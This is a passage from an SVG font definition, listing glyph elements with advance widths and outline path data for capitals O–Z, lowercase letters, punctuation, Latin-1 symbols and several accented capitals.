<glyph unicode="O" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428z" />
<glyph unicode="P" horiz-adv-x="1294" d="M158 0v1462h506q277 0 416 -121t139 -344q0 -245 -144.5 -378.5t-410.5 -133.5h-111v-485h-395zM553 807h72q89 0 141.5 50t52.5 138q0 148 -164 148h-102v-336z" />
<glyph unicode="Q" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -497 -316 -670l357 -411h-492l-258 325l-1 1v1l-1 1q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428z" />
<glyph unicode="R" horiz-adv-x="1386" d="M158 0v1462h479q596 0 596 -432q0 -254 -248 -393l426 -637h-448l-310 532h-100v-532h-395zM553 829h74q207 0 207 183q0 151 -203 151h-78v-334z" />
<glyph unicode="S" horiz-adv-x="1182" d="M90 72v352q113 -58 235 -90.5t224 -32.5q88 0 129 30.5t41 78.5q0 30 -16.5 52.5t-53 45.5t-194.5 94q-143 65 -214.5 126t-106 140t-34.5 187q0 202 147 315t404 113q227 0 463 -105l-121 -305q-205 94 -354 94q-77 0 -112 -27t-35 -67q0 -43 44.5 -77t241.5 -124 q189 -85 262.5 -182.5t73.5 -245.5q0 -136 -69 -241.5t-199 -164t-305 -58.5q-146 0 -245 20.5t-206 71.5z" />
<glyph unicode="T" horiz-adv-x="1210" d="M51 1139v323h1108v-323h-356v-1139h-395v1139h-357z" />
<glyph unicode="U" horiz-adv-x="1550" d="M150 573v889h397v-858q0 -155 58 -225t171 -70q121 0 175.5 69.5t54.5 227.5v856h395v-880q0 -287 -162.5 -444.5t-468.5 -157.5q-299 0 -459.5 153t-160.5 440z" />
<glyph unicode="V" horiz-adv-x="1421" d="M0 1462h444l199 -741q62 -247 68 -344q7 70 28 175t37 165l203 745h442l-479 -1462h-465z" />
<glyph unicode="W" horiz-adv-x="2128" d="M31 1462h381l159 -733q54 -243 74 -387q13 102 46.5 277t62.5 290l129 553h366l125 -553q32 -133 65 -307t44 -260q13 111 71 385l162 735h381l-360 -1462h-467l-140 637q-10 40 -31.5 159t-31.5 199q-8 -65 -26 -161.5t-35.5 -177.5t-145.5 -656h-467z" />
<glyph unicode="X" horiz-adv-x="1481" d="M4 0l485 748l-456 714h438l264 -452l254 452h451l-463 -745l498 -717h-457l-285 457l-282 -457h-447z" />
<glyph unicode="Y" horiz-adv-x="1360" d="M0 1462h430l250 -542l252 542h428l-481 -891v-571h-398v559z" />
<glyph unicode="Z" horiz-adv-x="1251" d="M61 0v244l633 899h-618v319h1108v-243l-633 -900h649v-319h-1139z" />
<glyph unicode="[" horiz-adv-x="664" d="M117 -344v1847h499v-254h-182v-1339h182v-254h-499zM355 1485z" />
<glyph unicode="\" horiz-adv-x="905" d="M6 1483h346l545 -1503h-346z" />
<glyph unicode="]" horiz-adv-x="664" d="M47 -90h182v1339h-182v254h500v-1847h-500v254zM317 1485z" />
<glyph unicode="^" horiz-adv-x="1075" d="M-16 502l440 966h170l508 -966h-295l-289 577l-124 -291l-124 -286h-286z" />
<glyph unicode="_" horiz-adv-x="1024" d="M-4 -133h1032v-246h-1032v246z" />
<glyph unicode="`" horiz-adv-x="1225" d="M264 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="a" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142z" />
<glyph unicode="b" horiz-adv-x="1317" d="M135 0v1556h391v-352q0 -63 -14 -217h14q57 88 131.5 127t169.5 39q185 0 293.5 -155t108.5 -429q0 -276 -109.5 -432.5t-304.5 -156.5q-63 0 -112 13.5t-87.5 37.5t-89.5 80h-24l-62 -111h-305zM526 555q0 -139 38 -199.5t124 -60.5q69 0 106 70.5t37 207.5 q0 273 -147 273q-82 0 -120 -57t-38 -179v-55z" />
<glyph unicode="c" horiz-adv-x="1104" d="M86 561q0 282 155 437t441 155q197 0 371 -86l-115 -289q-71 31 -131 49.5t-125 18.5q-95 0 -147 -74t-52 -209q0 -272 201 -272q172 0 330 100v-311q-151 -100 -363 -100q-278 0 -421.5 150t-143.5 431z" />
<glyph unicode="d" horiz-adv-x="1317" d="M86 565q0 276 111 432t305 156q95 0 166.5 -38t130.5 -128h8q-19 133 -19 266v303h394v-1556h-295l-84 143h-15q-101 -163 -301 -163q-121 0 -211.5 69t-140 203t-49.5 313zM481 559q0 -132 43 -201t123 -69q94 0 132.5 59t41.5 182v31q0 150 -43 213.5t-135 63.5 q-77 0 -119.5 -72.5t-42.5 -206.5z" />
<glyph unicode="e" horiz-adv-x="1266" d="M86 559q0 287 145 440.5t414 153.5q256 0 395.5 -133.5t139.5 -384.5v-174h-699q4 -95 69.5 -149t178.5 -54q103 0 189.5 19.5t187.5 66.5v-281q-92 -47 -190 -65t-234 -18q-283 0 -439.5 150.5t-156.5 428.5zM489 707h336q-2 82 -46.5 131t-119.5 49q-69 0 -115.5 -43.5 t-54.5 -136.5z" />
<glyph unicode="f" horiz-adv-x="846" d="M45 840v192l158 96v19q0 224 91.5 322t293.5 98q78 0 147.5 -12t161.5 -42l-84 -253q-72 20 -141 20q-45 0 -65.5 -27.5t-20.5 -89.5v-30h241v-293h-241v-840h-391v840h-150z" />
<glyph unicode="g" horiz-adv-x="1241" d="M20 -180q0 203 252 262q-52 22 -90.5 71t-38.5 97q0 53 29 93.5t121 96.5q-88 39 -138.5 122t-50.5 202q0 185 126 287t360 102q31 0 107 -7t112 -13h395v-189l-155 -57q32 -58 32 -135q0 -183 -128.5 -284t-383.5 -101q-63 0 -100 8q-14 -26 -14 -49q0 -29 47 -44.5 t123 -15.5h188q381 0 381 -321q0 -207 -176.5 -322t-495.5 -115q-241 0 -371.5 80.5t-130.5 231.5zM350 -141q0 -48 52 -77.5t139 -29.5q142 0 227.5 35.5t85.5 91.5q0 45 -52 63.5t-149 18.5h-153q-63 0 -106.5 -29.5t-43.5 -72.5zM473 762q0 -174 121 -174q56 0 86.5 43 t30.5 129q0 176 -117 176q-121 0 -121 -174z" />
<glyph unicode="h" horiz-adv-x="1372" d="M135 0v1556h391v-221q0 -150 -16 -342h18q56 88 133 124t179 36q190 0 295.5 -109.5t105.5 -306.5v-737h-393v618q0 228 -135 228q-96 0 -141.5 -80.5t-45.5 -267.5v-498h-391z" />
<glyph unicode="i" horiz-adv-x="666" d="M127 1415q0 88 49 131t158 43t159 -44t50 -130q0 -172 -209 -172q-207 0 -207 172zM137 0v1133h391v-1133h-391z" />
<glyph unicode="j" horiz-adv-x="664" d="M-104 -162q64 -18 120 -18q119 0 119 170v1143h391v-1225q0 -187 -109.5 -293.5t-310.5 -106.5q-48 0 -110.5 7.5t-99.5 17.5v305zM125 1415q0 88 49 131t158 43t159 -44t50 -130q0 -172 -209 -172q-207 0 -207 172z" />
<glyph unicode="k" horiz-adv-x="1350" d="M135 0v1556h393v-612q0 -157 -22 -307h8q71 113 121 176l254 320h436l-393 -482l418 -651h-447l-248 406l-127 -97v-309h-393z" />
<glyph unicode="l" horiz-adv-x="662" d="M135 0v1556h391v-1556h-391z" />
<glyph unicode="m" horiz-adv-x="2048" d="M135 0v1133h295l49 -140h23q45 78 130.5 119t194.5 41q245 0 344 -149h31q48 70 133.5 109.5t188.5 39.5q201 0 297 -103t96 -313v-737h-391v616q0 115 -31.5 172.5t-99.5 57.5q-90 0 -132 -77t-42 -241v-528h-392v616q0 115 -30 172.5t-97 57.5q-92 0 -134 -82t-42 -268 v-496h-391z" />
<glyph unicode="n" horiz-adv-x="1372" d="M135 0v1133h295l49 -140h23q50 80 138.5 120t203.5 40q188 0 292.5 -109t104.5 -307v-737h-391v618q0 113 -32.5 170.5t-104.5 57.5q-99 0 -143 -79t-44 -271v-496h-391z" />
<glyph unicode="o" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5z" />
<glyph unicode="p" horiz-adv-x="1317" d="M135 -492v1625h318l55 -144h18q109 164 301 164q188 0 295 -156t107 -428q0 -274 -111.5 -431.5t-302.5 -157.5q-86 0 -154 28.5t-135 102.5h-18q18 -119 18 -148v-455h-391zM526 571q0 -146 39 -211t123 -65q75 0 109 64.5t34 213.5q0 146 -34 209.5t-113 63.5 q-86 0 -120.5 -61.5t-37.5 -182.5v-31z" />
<glyph unicode="q" horiz-adv-x="1317" d="M86 565q0 276 110.5 432t301.5 156q205 0 309 -160h8l29 140h338v-1625h-391v469q0 34 12 166h-12q-96 -163 -299 -163q-190 0 -298 156t-108 429zM483 559q0 -148 41 -212t127 -64q89 0 129.5 55t40.5 186v47q0 150 -41 214.5t-135 64.5q-162 0 -162 -291z" />
<glyph unicode="r" horiz-adv-x="961" d="M135 0v1133h291l61 -181h19q49 90 136.5 145.5t176.5 55.5q51 0 97 -8l22 -4l-35 -369q-48 12 -133 12q-128 0 -186 -58.5t-58 -168.5v-557h-391z" />
<glyph unicode="s" horiz-adv-x="1092" d="M119 819q0 158 122 246t345 88q112 0 210.5 -24.5t204.5 -71.5l-106 -252q-78 35 -165 59.5t-142 24.5q-96 0 -96 -47q0 -29 33.5 -49.5t193.5 -83.5q119 -49 177.5 -96t86 -110.5t27.5 -154.5q0 -182 -124 -275t-356 -93q-126 0 -219 13.5t-190 49.5v313 q91 -40 199.5 -66t193.5 -26q127 0 127 58q0 30 -35.5 53.5t-206.5 91.5q-156 64 -218 145.5t-62 206.5z" />
<glyph unicode="t" horiz-adv-x="942" d="M53 840v159l174 123l101 238h256v-227h278v-293h-278v-441q0 -110 106 -110q79 0 189 39v-285q-79 -34 -150.5 -48.5t-167.5 -14.5q-197 0 -284 96.5t-87 296.5v467h-137z" />
<glyph unicode="u" horiz-adv-x="1372" d="M133 395v738h391v-619q0 -111 31.5 -168t103.5 -57q101 0 144 79.5t43 268.5v496h391v-1133h-295l-49 141h-23q-49 -78 -136.5 -119.5t-205.5 -41.5q-187 0 -291 108.5t-104 306.5z" />
<glyph unicode="v" horiz-adv-x="1251" d="M0 1133h408l192 -670q1 -5 4 -17t6 -28.5t5.5 -35t2.5 -34.5h7q0 52 18 113l201 672h407l-432 -1133h-387z" />
<glyph unicode="w" horiz-adv-x="1864" d="M25 1133h385l92 -435q44 -224 51 -372h6q3 92 55 350l105 457h432l96 -463q46 -221 58 -344h6q6 76 20 189.5t31 182.5l100 435h377l-311 -1133h-418l-128 540l-30 163l-20 131h-6q-49 -280 -66 -353l-115 -481h-411z" />
<glyph unicode="x" horiz-adv-x="1290" d="M10 0l365 578l-346 555h444l172 -318l176 318h445l-355 -555l369 -578h-444l-191 344l-190 -344h-445z" />
<glyph unicode="y" horiz-adv-x="1249" d="M-2 1133h412l192 -650q14 -51 19 -123h8q8 69 24 121l197 652h399l-448 -1205q-86 -230 -211.5 -325t-327.5 -95q-78 0 -160 17v307q53 -12 121 -12q52 0 91 20t68 56.5t62 119.5z" />
<glyph unicode="z" horiz-adv-x="1038" d="M49 0v223l469 611h-442v299h889v-242l-449 -592h471v-299h-938z" />
<glyph unicode="{" horiz-adv-x="887" d="M61 418v301q115 0 180.5 44.5t65.5 125.5v254q0 139 49 208t159.5 100.5t305.5 31.5v-279q-89 -3 -120.5 -13.5t-50.5 -32.5t-19 -60v-271q0 -113 -56.5 -173.5t-183.5 -78.5v-12q128 -20 184 -79t56 -167v-276q0 -39 21 -61t56 -32.5t113 -13.5v-278q-197 0 -307 32 t-158.5 101.5t-48.5 210.5v248q0 80 -67 125t-179 45z" />
<glyph unicode="|" horiz-adv-x="1042" d="M387 -446v2002h268v-2002h-268z" />
<glyph unicode="}" horiz-adv-x="887" d="M66 -66q108 4 149 29.5t41 77.5v276q0 108 56 167t184 79v12q-127 18 -183.5 78.5t-56.5 173.5v271q0 39 -19.5 60.5t-50 32t-120.5 13.5v279q196 0 306 -31.5t159 -100.5t49 -208v-254q0 -81 65 -125.5t180 -44.5v-301q-111 0 -178 -45t-67 -125v-248q0 -140 -49 -210 t-159 -102t-306 -32v278z" />
<glyph unicode="~" horiz-adv-x="1159" d="M72 526v281q104 108 264 108q69 0 130 -13.5t150 -49.5q131 -55 238 -55q50 0 112.5 32t118.5 89v-281q-105 -109 -264 -109q-71 0 -133.5 15t-146.5 49q-131 55 -236 55q-110 0 -233 -121z" />
<glyph unicode="&#xa1;" horiz-adv-x="594" d="M82 -334l51 946h330l51 -946h-432zM92 963q0 90 54 140t153 50q101 0 156 -50.5t55 -139.5q0 -91 -53.5 -142t-157.5 -51q-102 0 -154.5 50.5t-52.5 142.5z" />
<glyph unicode="&#xa2;" d="M129 739q0 240 113 388.5t323 189.5v166h207v-154q171 -9 324 -84l-115 -289q-71 31 -131 49.5t-125 18.5q-95 0 -147 -74t-52 -209q0 -272 201 -272q172 0 330 100v-311q-127 -82 -285 -98v-180h-207v186q-212 31 -324 176t-112 397z" />
<glyph unicode="&#xa3;" d="M102 649v277h166v118q0 215 117 328t338 113q210 0 405 -82l-110 -289q-148 55 -252 55q-58 0 -85.5 -33t-27.5 -104v-106h344v-277h-344v-96q0 -150 -159 -227h671v-326h-1061v313q81 47 109.5 76.5t41.5 67.5t13 94v98h-166z" />
<glyph unicode="&#xa4;" horiz-adv-x="1159" d="M96 1018l180 182l123 -123q84 41 172 41q91 0 177 -45l120 127l185 -174l-127 -125q41 -76 41 -178q0 -94 -41 -176l121 -119l-179 -178l-120 119q-89 -39 -177 -39q-100 0 -176 37l-119 -115l-178 178l123 119q-41 82 -41 174q0 89 41 176zM436 723q0 -56 40.5 -95.5 t94.5 -39.5q58 0 100 38.5t42 96.5t-42 97.5t-100 39.5q-56 0 -95.5 -40.5t-39.5 -96.5z" />
<glyph unicode="&#xa5;" d="M8 1462h400l192 -504l193 504h399l-363 -712h195v-211h-242v-117h242v-209h-242v-213h-364v213h-246v209h246v117h-246v211h190z" />
<glyph unicode="&#xa6;" horiz-adv-x="1042" d="M387 393h268v-839h-268v839zM387 717v839h268v-839h-268z" />
<glyph unicode="&#xa7;" horiz-adv-x="1024" d="M106 803q0 64 43 125t121 108q-141 102 -141 246q0 137 111 216t295 79q191 0 370 -86l-98 -221q-73 40 -146.5 63t-128.5 23q-108 0 -108 -74q0 -43 45.5 -79t128.5 -70q175 -71 252.5 -152t77.5 -178q0 -77 -32 -137.5t-116 -120.5q125 -94 125 -244 q0 -149 -116.5 -237.5t-319.5 -88.5q-204 0 -352 86v244q79 -44 182 -76t172 -32q139 0 139 96q0 42 -31 72.5t-139 78.5q-141 63 -205.5 112t-96.5 108t-32 139zM397 834q0 -51 44 -91t155 -98q41 47 41 107q0 57 -42 100t-140 84q-58 -32 -58 -102z" />
<glyph unicode="&#xa8;" horiz-adv-x="1233" d="M223 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM702 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1688" d="M92 731q0 200 100 375t275 276t377 101q197 0 370 -97t277 -272t104 -383q0 -204 -100.5 -376.5t-273 -273.5t-377.5 -101q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM256 731q0 -158 79.5 -295.5t215.5 -215t293 -77.5q158 0 294 78.5t215 215t79 294.5 q0 157 -77.5 293t-214 215.5t-296.5 79.5q-158 0 -294.5 -78.5t-215 -215t-78.5 -294.5zM434 735q0 217 113 340t321 123q166 0 322 -78l-92 -205q-106 56 -211 56q-81 0 -126.5 -61t-45.5 -179q0 -128 43.5 -185t134.5 -57q138 0 258 68v-231q-126 -64 -272 -64 q-212 0 -328.5 124t-116.5 349z" />
<glyph unicode="&#xaa;" horiz-adv-x="813" d="M49 967q0 116 77 171t267 64l88 4v6q0 41 -25.5 58.5t-76.5 17.5q-57 0 -107.5 -15t-103.5 -40l-76 166q108 51 180.5 65.5t163.5 14.5q139 0 218 -75.5t79 -213.5v-449h-162l-45 127q-48 -76 -104.5 -107.5t-138.5 -31.5q-109 0 -171.5 63.5t-62.5 174.5zM301 979 q0 -32 18 -50t52 -18q50 0 80 38.5t30 97.5v22l-84 -6q-96 -6 -96 -84z" />
<glyph unicode="&#xab;" horiz-adv-x="1395" d="M74 561v27l389 483l280 -149l-272 -347l272 -348l-280 -147zM649 561v27l387 483l283 -149l-275 -347l275 -348l-283 -147z" />
<glyph unicode="&#xac;" horiz-adv-x="1159" d="M72 588v268h1013v-618h-270v350h-743z" />
<glyph unicode="&#xad;" horiz-adv-x="651" d="M43 393v312h565v-312h-565z" />
<glyph unicode="&#xae;" horiz-adv-x="1688" d="M92 731q0 200 100 375t275 276t377 101q197 0 370 -97t277 -272t104 -383q0 -204 -100.5 -376.5t-273 -273.5t-377.5 -101q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM256 731q0 -158 79.5 -295.5t215.5 -215t293 -77.5q158 0 294 78.5t215 215t79 294.5 q0 157 -77.5 293t-214 215.5t-296.5 79.5q-158 0 -294.5 -78.5t-215 -215t-78.5 -294.5zM506 313v875h291q407 0 407 -270q0 -87 -33 -146.5t-108 -95.5l194 -363h-290l-146 320h-35v-320h-280zM786 809h11q58 0 91.5 21.5t33.5 76.5q0 47 -27.5 66.5t-95.5 19.5h-13v-184z " />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556v246h1036v-246h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="864" d="M63 1114q0 97 49 182.5t135 136t185 50.5t185 -50.5t135 -135.5t49 -183q0 -97 -48.5 -181t-134 -133.5t-186.5 -49.5q-99 0 -185 49t-135 133t-49 182zM301 1114q0 -50 38.5 -88.5t92.5 -38.5t92.5 39t38.5 88q0 52 -37.5 92.5t-93.5 40.5t-93.5 -40.5t-37.5 -92.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="1159" d="M72 0v268h1013v-268h-1013zM72 684v268h372v367h269v-367h372v-268h-372v-360h-269v360h-372z" />
<glyph unicode="&#xb2;" horiz-adv-x="817" d="M61 1350q80 73 167.5 104t203.5 31q142 0 219.5 -63t77.5 -175q0 -46 -13 -87t-40.5 -84.5t-74.5 -91t-198 -173.5h347v-225h-674v207l215 213q84 84 116.5 129t32.5 79q0 58 -65 58q-81 0 -172 -88z" />
<glyph unicode="&#xb3;" horiz-adv-x="817" d="M63 1366q149 115 343 115q146 0 232.5 -57.5t86.5 -157.5q0 -78 -37 -132.5t-125 -86.5v-9q97 -24 144 -76t47 -139q0 -120 -98 -187t-277 -67q-185 0 -309 70v233q117 -81 297 -81q116 0 116 67q0 41 -32.5 56.5t-102.5 15.5h-104v194h80q71 0 105 18.5t34 59.5 q0 25 -21 46.5t-71 21.5t-94 -17t-97 -57z" />
<glyph unicode="&#xb4;" horiz-adv-x="1225" d="M264 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xb5;" horiz-adv-x="1376" d="M135 -492v1625h391v-615q0 -115 33.5 -172t112.5 -57q93 0 134.5 83t41.5 265v496h393v-1133h-293l-53 152h-16q-34 -88 -90.5 -130t-122.5 -42q-56 0 -90 20t-62 63q12 -90 12 -235v-320h-391z" />
<glyph unicode="&#xb6;" horiz-adv-x="1317" d="M102 1042q0 256 107.5 385t343.5 129h633v-1816h-191v1587h-157v-1587h-191v819q-54 -18 -125 -18q-216 0 -318 125t-102 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="592" d="M86 723q0 92 54.5 142t158.5 50q99 0 152 -50t53 -142q0 -90 -54.5 -141.5t-150.5 -51.5q-100 0 -156.5 51t-56.5 142z" />
<glyph unicode="&#xb8;" horiz-adv-x="383" d="M-90 -258q83 -27 147 -27q52 0 52 47q0 33 -41 58.5t-107 40.5l72 139h203l-9 -29q96 -39 133 -92.5t37 -130.5q0 -109 -75 -174.5t-199 -65.5q-136 0 -213 29v205z" />
<glyph unicode="&#xb9;" horiz-adv-x="817" d="M57 1188l340 274h219v-876h-282v356q0 35 3.5 118t6.5 99q-9 -19 -31.5 -43t-109.5 -98z" />
<glyph unicode="&#xba;" horiz-adv-x="803" d="M49 1104q0 177 94.5 276t259.5 99q157 0 255 -103t98 -272q0 -174 -95.5 -274.5t-261.5 -100.5q-159 0 -254.5 102.5t-95.5 272.5zM301 1104q0 -87 24 -129.5t76 -42.5q99 0 99 172q0 174 -99 174q-100 0 -100 -174z" />
<glyph unicode="&#xbb;" horiz-adv-x="1395" d="M76 227l272 348l-272 347l282 149l387 -483v-27l-387 -481zM649 227l275 348l-275 347l285 149l387 -483v-27l-387 -481z" />
<glyph unicode="&#xbc;" horiz-adv-x="1919" d="M1028 140v188l350 555h295v-542h125v-201h-125v-139h-275v139h-370zM1241 341h157v166q0 69 7 135q-40 -100 -62 -133zM357 0l753 1462h302l-754 -1462h-301zM-12 1188l340 274h219v-876h-282v356q0 35 3.5 118t6.5 99q-9 -19 -31.5 -43t-109.5 -98z" />
<glyph unicode="&#xbd;" horiz-adv-x="1921" d="M1140 765q80 73 167.5 104t203.5 31q142 0 219.5 -63t77.5 -175q0 -46 -13 -87t-40.5 -84.5t-74.5 -91t-198 -173.5h347v-225h-674v207l215 213q84 84 116.5 129t32.5 79q0 58 -65 58q-81 0 -172 -88zM381 0l753 1462h302l-754 -1462h-301zM-12 1188l340 274h219v-876 h-282v356q0 35 3.5 118t6.5 99q-9 -19 -31.5 -43t-109.5 -98z" />
<glyph unicode="&#xbe;" horiz-adv-x="1921" d="M1100 140v188l350 555h295v-542h125v-201h-125v-139h-275v139h-370zM1313 341h157v166q0 69 7 135q-40 -100 -62 -133zM83 1366q149 115 343 115q146 0 232.5 -57.5t86.5 -157.5q0 -78 -37 -132.5t-125 -86.5v-9q97 -24 144 -76t47 -139q0 -120 -98 -187t-277 -67 q-185 0 -309 70v233q117 -81 297 -81q116 0 116 67q0 41 -32.5 56.5t-102.5 15.5h-104v194h80q71 0 105 18.5t34 59.5q0 25 -21 46.5t-71 21.5t-94 -17t-97 -57zM465 0l753 1462h302l-754 -1462h-301z" />
<glyph unicode="&#xbf;" horiz-adv-x="1034" d="M37 10q0 120 55 208t182 169q100 64 129 97t29 77v51h307v-86q0 -98 -40 -165.5t-142 -131.5q-57 -36 -90 -66t-47 -55.5t-14 -64.5q0 -42 37.5 -66t99.5 -24q148 0 352 106l139 -272q-243 -141 -520 -141q-223 0 -350 98t-127 266zM365 963q0 90 54 140t152 50 q101 0 156 -49.5t55 -140.5q0 -93 -53 -143t-158 -50q-101 0 -153.5 50t-52.5 143z" />
<glyph unicode="&#xc0;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM272 1886v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM532 1579v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xc2;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM295 1579v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z " />
<glyph unicode="&#xc3;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM330 1575q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5 t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xc4;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM352 1751q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41 t-46 115zM831 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xc5;" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461zM475 1614q0 116 71.5 185t192.5 69q118 0 195 -70t77 -182q0 -113 -76 -183.5t-196 -70.5q-121 0 -192.5 68.5 t-71.5 183.5zM655 1614q0 -37 21 -60.5t63 -23.5q35 0 59.5 23.5t24.5 60.5q0 38 -24.5 61t-59.5 23t-59.5 -23t-24.5 -61z" />
<glyph unicode="&#xc6;" horiz-adv-x="1937" d="M-10 0l628 1462h1221v-317h-473v-230h438v-317h-438v-276h473v-322h-870v274h-437l-100 -274h-442zM653 602h316v526h-111z" />
<glyph unicode="&#xc7;" horiz-adv-x="1329" d="M104 727q0 227 85.5 399t246 264.5t377.5 92.5q237 0 453 -103l-121 -311q-81 38 -162 64t-174 26q-141 0 -220 -115.5t-79 -318.5q0 -422 321 -422q97 0 188 27t183 65v-334q-183 -81 -414 -81q-331 0 -507.5 192t-176.5 555zM477 -258q83 -27 147 -27q52 0 52 47 q0 33 -41 58.5t-107 40.5l72 139h203l-9 -29q96 -39 133 -92.5t37 -130.5q0 -109 -75 -174.5t-199 -65.5q-136 0 -213 29v205z" />
<glyph unicode="&#xc8;" horiz-adv-x="1124" d="M158 0v1462h868v-317h-473v-230h438v-317h-438v-276h473v-322h-868zM154 1886v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1124" d="M158 0v1462h868v-317h-473v-230h438v-317h-438v-276h473v-322h-868zM362 1579v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xca;" horiz-adv-x="1124" d="M158 0v1462h868v-317h-473v-230h438v-317h-438v-276h473v-322h-868zM151 1579v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xcb;" horiz-adv-x="1124" d="M158 0v1462h868v-317h-473v-230h438v-317h-438v-276h473v-322h-868zM187 1751q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM666 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5 t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="713" d="M158 0v1462h397v-1462h-397zM-116 1886v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="713" d="M158 0v1462h397v-1462h-397zM156 1579v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xce;" horiz-adv-x="713" d="M158 0v1462h397v-1462h-397zM-95 1579v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xcf;" horiz-adv-x="713" d="M158 0v1462h397v-1462h-397zM-55 1751q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM424 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5 t-45.5 114.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1503" d="M31 563v320h127v579h506q352 0 543.5 -180t191.5 -520q0 -366 -201.5 -564t-566.5 -198h-473v563h-127zM553 324h88q180 0 264 104.5t84 319.5q0 201 -79.5 298t-241.5 97h-115v-260h211v-320h-211v-239z" />
